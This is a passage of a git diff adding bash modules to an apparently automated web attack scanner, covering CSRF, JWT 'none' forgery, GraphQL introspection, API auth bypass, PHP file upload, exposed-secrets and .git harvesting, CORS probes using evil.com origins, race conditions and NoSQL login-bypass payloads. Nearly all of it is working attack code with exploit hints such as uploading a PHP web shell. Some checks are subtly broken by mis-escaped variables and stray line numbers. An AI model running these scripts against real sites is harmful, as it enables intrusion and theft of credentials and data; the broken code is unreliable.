's/.*method="\([^"]*\)".*/\1/p' | sed 's/method="//;s/"//' | tr '[:upper:]' '[:lower:]') + local form_action=$(echo "$form" | sed -n 's/.*action="\([^"]*\)".*/\1/p' | sed 's/action="//;s/"//') + + # Check for CSRF token in form + if ! echo "\$form" | grep -qiE 'csrf|_token|nonce|authenticity_token|xsrf|__RequestVerificationToken'; then + # Check page for hidden CSRF fields + local hidden_fields=$(echo "$page" | perl -nle 'print \$& if /<input[^>]*hidden[^>]*>/g' 2>/dev/null) + local has_csrf=false + + while IFS= read -r hidden; do + if echo "\$hidden" | grep -qiE 'csrf|_token|nonce|authenticity'; then + has_csrf=true + break + fi + done <<< "$hidden_fields" + + if [ "$has_csrf" = false ] && [ "$form_method" = "post" ]; then + print_find "CSRF vulnerability!" "Form #$form_count missing CSRF protection" + echo "SEVERITY: MEDIUM +VECTOR: Cross-Site Request Forgery (CSRF) +DETAIL: CSRF - No CSRF token in state-changing form on $target +EVIDENCE: Form action=$form_action, method=$form_method lacks CSRF protection +EXPLOIT: Generate malicious HTML form that auto-submits to this endpoint" > "$REPORTS_DIR/.finding_$(date +%s)_csrf.txt" + findings=$((findings + 1)) + fi + fi + done <<< "$forms" + + if [ "$findings" -eq 0 ]; then + print_ok "All forms appear to have CSRF protection" + fi + + return $findings +} diff --git a/vectors/12-jwt.sh b/vectors/12-jwt.sh new file mode 100755 index 0000000..02d4ec7 --- /dev/null +++ b/vectors/12-jwt.sh @@ -0,0 +1,68 @@ +1|#!/usr/bin/env bash +2|# Vector 12: JWT Attacks +3|# Desc: JWT token manipulation (none alg, weak keys, etc.) +4|# Detect: JWT tokens in cookies, headers, or params +5|# Severity: HIGH +6|# Tools: curl, jq +7| +8|vector_jwt() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing JWT attack vectors..." + + # Look for JWT in cookies or headers + local auth_header=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^authorization:\|^set-cookie:") + local jwt_pattern='eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*' + + local jwt=$(echo "$auth_header" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1) + + if [ -z "$jwt" ]; then + # Check page content + local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + jwt=$(echo "$page" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1) + fi + + if [ -n "$jwt" ]; then + print_find "JWT token found!" "${jwt:0:50}..." + + # Decode header + local header=$(echo "$jwt" | cut -d. -f1 | base64 -d 2>/dev/null) + local payload=$(echo "$jwt" | cut -d. -f2 | base64 -d 2>/dev/null) + + print_info "Header: $header" + print_info "Payload: $payload" + + # Test "none" algorithm attack + local header_b64=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_') + local payload_b64=$(echo "$jwt" | cut -d. -f2) + local none_jwt="${header_b64}.${payload_b64}." + + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -H "Authorization: Bearer $none_jwt" \ + "$target" 2>/dev/null) + + if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then + print_find "JWT 'none' algorithm bypass!" "Token accepted without signature" + echo "SEVERITY: CRITICAL +49|VECTOR: JWT Algorithm Confusion (none) +50|DETAIL: Server accepts 'alg:none' JWT token on $target +51|EVIDENCE: Token with 'none' alg accepted by server +52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt" + findings=$((findings + 1)) + fi + + # Save JWT info for report + echo "SEVERITY: INFO +58|VECTOR: JWT Token Discovery +59|DETAIL: JWT token found on $target +60|EVIDENCE: Token: ${jwt:0:80}... +61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt" + else + print_skip "No JWT tokens found" + fi + + return $findings +67|} +68| \ No newline at end of file diff --git a/vectors/13-graphql.sh b/vectors/13-graphql.sh new file mode 100755 index 0000000..a47bb12 --- /dev/null +++ b/vectors/13-graphql.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# Vector 13: GraphQL Injection & Introspection +# Desc: GraphQL introspection, injection, batching attacks +# Detect: /graphql endpoints, query params, POST with query +# Severity: HIGH +# Tools: curl + +vector_graphql() { + local target="$1" + local report="$2" + local findings=0 + local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1) + + print_info "Testing GraphQL vectors..." + + # Check common GraphQL endpoints + local gql_paths=("/graphql" "/v1/graphql" "/v2/graphql" "/api/graphql" "/graph" "/query" "/gql") + local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|') + + for path in "${gql_paths[@]}"; do + local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}${path}" 2>/dev/null) + + if [ "$code" != "000" ] && [ "$code" != "404" ]; then + print_info "Found GraphQL endpoint: ${base}${path} (HTTP $code)" + + # Test introspection + local introspection='{"query":"query{__schema{types{name fields{name type{name kind}}}}}"}' + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -X POST \ + -H "Content-Type: application/json" \ + -d "$introspection" \ + "${base}${path}" 2>/dev/null) + + if echo "$response" | grep -qi '"data"' && echo "$response" | grep -qi '__schema\|types\|fields'; then + print_find "GraphQL Introspection Enabled!" "Full schema available at ${base}${path}" + + # Extract type names from schema + local types=$(echo "$response" | jq -r '.data.__schema.types[].name' 2>/dev/null | grep -v '__\|Query\|Mutation\|Subscription\|String\|Int\|Float\|Boolean\|ID' | head -10) + + echo "SEVERITY: HIGH +VECTOR: GraphQL Introspection +DETAIL: GraphQL introspection enabled at ${base}${path} on $target +EVIDENCE: Full schema accessible +EXPLOIT: Extract all queries/mutations: query{__schema{types{name fields{name type{name kind}}}}}" > "$REPORTS_DIR/.finding_$(date +%s)_graphql.txt" + findings=$((findings + 1)) + + if [ -n "$types" ]; then + print_info "Types found: $types" + fi + fi + fi + done + + return $findings +} diff --git a/vectors/14-api-abuse.sh b/vectors/14-api-abuse.sh new file mode 100755 index 0000000..5ab57a2 --- /dev/null +++ b/vectors/14-api-abuse.sh @@ -0,0 +1,67 @@ +1|#!/usr/bin/env bash +2|# Vector 14: API Abuse & Security Testing +3|# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution +4|# Detect: API endpoints /api/, /v1/, /rest +5|# Severity: HIGH +6|# Tools: curl +7| +8|vector_apiab() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing API security..." + + local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|') + local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1) + + # Discover API endpoints + local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + local api_urls=$(echo "$page" | perl -nle 'while (/"https?:\/\/[^"]*api[^"]*"|"\/api\/[^"]*"|"\/v[0-9]\/[^"]*"/g) { print \$& }' 2>/dev/null | sort -u | head -10) + + for endpoint in $api_urls; do + endpoint=$(echo "$endpoint" | tr -d '"') + [[ "$endpoint" == /* ]] && endpoint="${base}${endpoint}" + + # Test various auth bypass methods + local methods=("GET" "POST" "PUT" "DELETE" "PATCH" "OPTIONS") + + for method in "${methods[@]}"; do + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -X "$method" \ + -H "Authorization: Bearer" \ + -H "Authorization: null" \ + -H "X-Forwarded-For: 127.0.0.1" \ + "$endpoint" 2>/dev/null) + + # Check for unexpected access + local status=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" --connect-timeout 5 --max-time 10 "$endpoint" 2>/dev/null) + + if [ "$status" = "200" ] && [ "$method" != "GET" ]; then + print_warn "Unusual: $method $endpoint returns $status" + fi + done + + # Test rate limiting + local rate_check=0 + for i in 1 2 3 4 5 6 7 8 9 10; do + local rstatus=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 --max-time 5 "$endpoint" 2>/dev/null) + if [ "$rstatus" = "429" ] || [ "$rstatus" = "503" ]; then + rate_check=$((rate_check + 1)) + fi + done + + if [ "$rate_check" -eq 0 ]; then + print_warn "No rate limiting detected on $endpoint" + echo "SEVERITY: MEDIUM +57|VECTOR: Missing Rate Limiting +58|DETAIL: No rate limiting on $endpoint +59|EVIDENCE: 10 rapid requests without 429/503 response +60|EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt" + findings=$((findings + 1)) + fi + done + + return $findings +66|} +67| \ No newline at end of file diff --git a/vectors/15-file-upload.sh b/vectors/15-file-upload.sh new file mode 100755 index 0000000..890648a --- /dev/null +++ b/vectors/15-file-upload.sh @@ -0,0 +1,49 @@ +#!/usr/bin/env bash +# Vector 15: File Upload Vulnerabilities +# Desc: Unrestricted file upload, path traversal in upload +# Detect: Upload forms, multipart endpoints +# Severity: HIGH +# Tools: curl + +vector_fileup() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing File Upload vectors..." + + # Find upload endpoints + local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + local upload_urls=$(echo "$page" | grep -oiP 'action="[^"]*upload[^"]*"\|enctype="multipart/form-data"' | head -5) + + if [ -n "$upload_urls" ]; then + print_info "Upload form detected, testing restrictions..." + + # Try uploading a PHP shell (harmless test) + local test_content='<?php echo "UPLOAD_TEST"; ?>' + local tmpfile=$(mktemp) + echo "$test_content" > "$tmpfile" + + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -F "file=@${tmpfile};filename=test.php" \ + -F "file=@${tmpfile};filename=test.php.jpg" \ + -F "file=@${tmpfile};filename=test.png;type=image/png" \ + "$target" 2>/dev/null) + + rm -f "$tmpfile" + + if echo "$response" | grep -qi "uploaded\|success\|200\|stored"; then + print_find "File Upload Vulnerability!" "PHP file accepted as upload" + echo "SEVERITY: HIGH +VECTOR: Unrestricted File Upload +DETAIL: Server accepted PHP file upload on $target +EVIDENCE: Upload response indicates success +EXPLOIT: Upload PHP web shell for RCE" > "$REPORTS_DIR/.finding_$(date +%s)_fileup.txt" + findings=$((findings + 1)) + fi + else + print_skip "No upload forms detected" + fi + + return $findings +} diff --git a/vectors/16-backup-files.sh b/vectors/16-backup-files.sh new file mode 100755 index 0000000..6ad7d37 --- /dev/null +++ b/vectors/16-backup-files.sh @@ -0,0 +1,91 @@ +#!/usr/bin/env bash +# Vector 16: Backup & Config File Exposure +# Desc: Find exposed backup files, config dumps, source code +# Detect: Any web server +# Severity: HIGH +# Tools: curl + +vector_backup() { + local target="$1" + local report="$2" + local findings=0 + local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|') + + print_info "Scanning for exposed backup/config files..." + + local files=( + ".env" + ".env.bak" + ".env.backup" + ".env.local" + ".env.production" + "config.php" + "config.php.bak" + "config.bak" + "config.old" + "db_backup.sql" + "backup.sql" + "dump.sql" + "database.sql" + "wp-config.php" + "wp-config.php.bak" + "config.php~" + "composer.json" + "package.json" + "npm-shrinkwrap.json" + ".htaccess" + ".htpasswd" + "phpinfo.php" + "info.php" + "test.php" + "admin.php" + "credentials.txt" + "passwords.txt" + "secrets.yml" + "credentials.json" + "aws.json" + "azure.json" + "gcp.json" + "id_rsa" + "id_rsa.pub" + ".gitignore" + "dump.rdb" + "mongodump.gz" + "error.log" + "debug.log" + "install.log" + "access.log" + "Dockerfile" + "docker-compose.yml" + "kubeconfig" + ".kube/config" + ) + + for file in "${files[@]}"; do + local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null) + + if [[ "$code" =~ ^[23] ]]; then + local size=$(curl -s --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null | wc -c | tr -d ' ') + + if [ "$size" -gt 10 ]; then + local preview=$(curl -s --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null | head -c 200) + + print_find "Exposed: /$file" "($size bytes) HTTP $code" + + local sev="HIGH" + if echo "$file" | grep -qi "\.env\|password\|secret\|credential\|key\|dump\|backup"; then + sev="CRITICAL" + fi + + echo "SEVERITY: $sev +VECTOR: Exposed File - $file +DETAIL: Sensitive/config file exposed at ${base}/$file +EVIDENCE: HTTP $code, $size bytes, preview: $preview +EXPLOIT: Download: curl -O ${base}/$file" > "$REPORTS_DIR/.finding_$(date +%s)_exposed-${file//\//_}.txt" + findings=$((findings + 1)) + fi + fi + done + + return $findings +} diff --git a/vectors/17-git-exposure.sh b/vectors/17-git-exposure.sh new file mode 100755 index 0000000..f272f0f --- /dev/null +++ b/vectors/17-git-exposure.sh @@ -0,0 +1,40 @@ +#!/usr/bin/env bash +# Vector 17: .git Repository Exposure +# Desc: Exposed .git directory leaking source code +# Detect: Any web server +# Severity: CRITICAL +# Tools: curl, git + +vector_gitex() { + local target="$1" + local report="$2" + local findings=0 + local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|') + + print_info "Checking .git exposure..." + + local git_url="${base}/.git/HEAD" + local response=$(curl -s --connect-timeout 5 --max-time 10 "$git_url" 2>/dev/null) + + if echo "$response" | grep -qi "ref: refs/heads/\|refs/heads/master\|refs/heads/main"; then + print_find ".git HEAD exposed!" "Full git repo may be downloadable at $base/.git/" + + # Check more .git files + local config=$(curl -s --connect-timeout 5 --max-time 10 "${base}/.git/config" 2>/dev/null) + local objects_check=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}/.git/objects" 2>/dev/null) + + echo "SEVERITY: CRITICAL +VECTOR: .git Repository Exposure +DETAIL: Complete .git directory exposed at ${base}/.git/ +EVIDENCE: .git/HEAD accessible with content: $response +EXPLOIT: Use git-dumper: git-dumper $base/.git/ ./repo-out/ +Or: wget -r $base/.git/" > "$REPORTS_DIR/.finding_$(date +%s)_git-exposure.txt" + findings=$((findings + 1)) + + print_info "Use: git-dumper $base/.git/ ./repo/" + else + print_skip "No .git exposure detected" + fi + + return $findings +} diff --git a/vectors/18-cors.sh b/vectors/18-cors.sh new file mode 100755 index 0000000..bd19873 --- /dev/null +++ b/vectors/18-cors.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# Vector 18: CORS Misconfiguration +# Desc: Permissive CORS allowing cross-origin data theft +# Detect: API endpoints with Access-Control headers +# Severity: MEDIUM +# Tools: curl + +vector_cors() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing CORS configuration..." + + local origins=("https://evil.com" "null" "https://attacker.com" "http://localhost" "https://evil.$domain") + + for origin in "${origins[@]}"; do + local headers=$(curl -sI --connect-timeout 5 --max-time 10 \ + -H "Origin: $origin" \ + -H "Referer: ${origin}/" \ + "$target" 2>/dev/null) + + local acao=$(echo "$headers" | grep -i "^access-control-allow-origin:" | tr -d '\r' | sed 's/[Aa]ccess-[Cc]ontrol-[Aa]llow-[Oo]rigin: //') + local acac=$(echo "$headers" | grep -i "^access-control-allow-credentials:" | tr -d '\r' | sed 's/[Aa]ccess-[Cc]ontrol-[Aa]llow-[Cc]redentials: //') + + if [ -n "$acao" ]; then + if echo "$acao" | grep -qi "^\*$"; then + print_find "Wildcard CORS!" "Access-Control-Allow-Origin: *" + echo "SEVERITY: MEDIUM +VECTOR: CORS Wildcard +DETAIL: Wildcard CORS allowed on $target +EVIDENCE: Access-Control-Allow-Origin: * +EXPLOIT: Cross-origin data theft from any domain" > "$REPORTS_DIR/.finding_$(date +%s)_cors-wildcard.txt" + findings=$((findings + 1)) + break + elif echo "$acao" | grep -qi "$origin"; then + print_find "Reflective CORS!" "Origin $origin reflected in ACAO" + echo "SEVERITY: MEDIUM +VECTOR: CORS Reflection +DETAIL: CORS reflects arbitrary origins on $target +EVIDENCE: Origin '$origin' reflected in ACAO header +CREDENTIALS: $acac +EXPLOIT: Steal data via: fetch('$target', {credentials:'include'})" > "$REPORTS_DIR/.finding_$(date +%s)_cors-reflect.txt" + findings=$((findings + 1)) + break + fi + fi + done + + if [ "$findings" -eq 0 ]; then + print_ok "CORS configuration looks secure" + fi + + return $findings +} diff --git a/vectors/19-race-condition.sh b/vectors/19-race-condition.sh new file mode 100755 index 0000000..ed488df --- /dev/null +++ b/vectors/19-race-condition.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Vector 19: Race Condition +# Desc: TOCTOU, concurrent request race conditions +# Detect: Coupon codes, transfers, voting, limited-use operations +# Severity: MEDIUM +# Tools: curl + +vector_race() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing Race Condition vectors..." + + # Look for potential race targets + local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + local race_indicators="" + + echo "\$page" | grep -qiE "coupon|discount|promo|free trial|voucher|transfer|withdraw|claim|vote|review|submit" && race_indicators="yes" + + if [ -n "$race_indicators" ]; then + # Find endpoints to race + local endpoints=$(echo "$page" | perl -nle 'print \$1 while /(action="[^"]*"|href="[^"]*")/g' | grep -iE "submit|claim|redeem|transfer|vote" | head -3) + + if [ -n "$endpoints" ]; then + print_warn "Potential race condition targets found - manual testing recommended" + print_info "Send multiple concurrent requests to the same endpoint" + + echo "SEVERITY: MEDIUM +VECTOR: Potential Race Condition +DETAIL: Possible race condition targets on $target +EVIDENCE: State-changing operations detected: coupon/claim/vote/transfer +EXPLOIT: Send 50+ concurrent requests: for i in {1..50}; do curl -X POST [endpoint] & done" > "$REPORTS_DIR/.finding_$(date +%s)_race.txt" + findings=$((findings + 1)) + fi + fi + + return $findings +} diff --git a/vectors/20-nosqli.sh b/vectors/20-nosqli.sh new file mode 100755 index 0000000..2180ebd --- /dev/null +++ b/vectors/20-nosqli.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash +# Vector 20: NoSQL Injection +# Desc: MongoDB injection via JSON operators ($ne, $gt, $regex) +# Detect: Node.js/Express apps, MongoDB backends +# Severity: HIGH +# Tools: curl + +vector_nosqli() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing NoSQL Injection vectors..." + + # Check for JSON content types or Node.js indicators + local headers=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + + # Test POST endpoints + local endpoints=("/login" "/api/login" "/auth" "/api/auth" "/user" "/api/user" "/graphql") + local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|') + + for endpoint in "${endpoints[@]}"; do + # NoSQL injection payloads + local nosql_payloads=( + '{"username":{"$ne":""},"password":{"$ne":""}}' + '{"username":{"$gt":""},"password":{"$gt":""}}' + '{"username":{"$regex":".*"},"password":{"$regex":".*"}}' + '{"$where":"1==1"}' + '{"username":"admin","password":{"$ne":""}}' + '{"username":"admin","$where":"1==1"}' + ) + + for payload in "${nosql_payloads[@]}"; do + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -X POST \ + -H "Content-Type: application/json" \ + -d "$payload" \ + "${base}${endpoint}" 2>/dev/null) + + if echo "\$response" | grep -qiE '"token"|"success":true|"loggedIn"|"authenticated"|200|"session"'; then + print_find "NoSQL Injection!" "Authentication bypass via $endpoint" + echo "SEVERITY: CRITICAL +VECTOR: NoSQL Injection +DETAIL: NoSQL injection on ${base}${endpoint} +EVIDENCE: Authentication bypass with $payload +EXPLOIT: curl -X POST ${base}${endpoint} -H 'Content-Type: application/json' -d '$payload'" > "$REPORTS_DIR/.finding_$(date +%s)_nosqli.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + + return $findings +}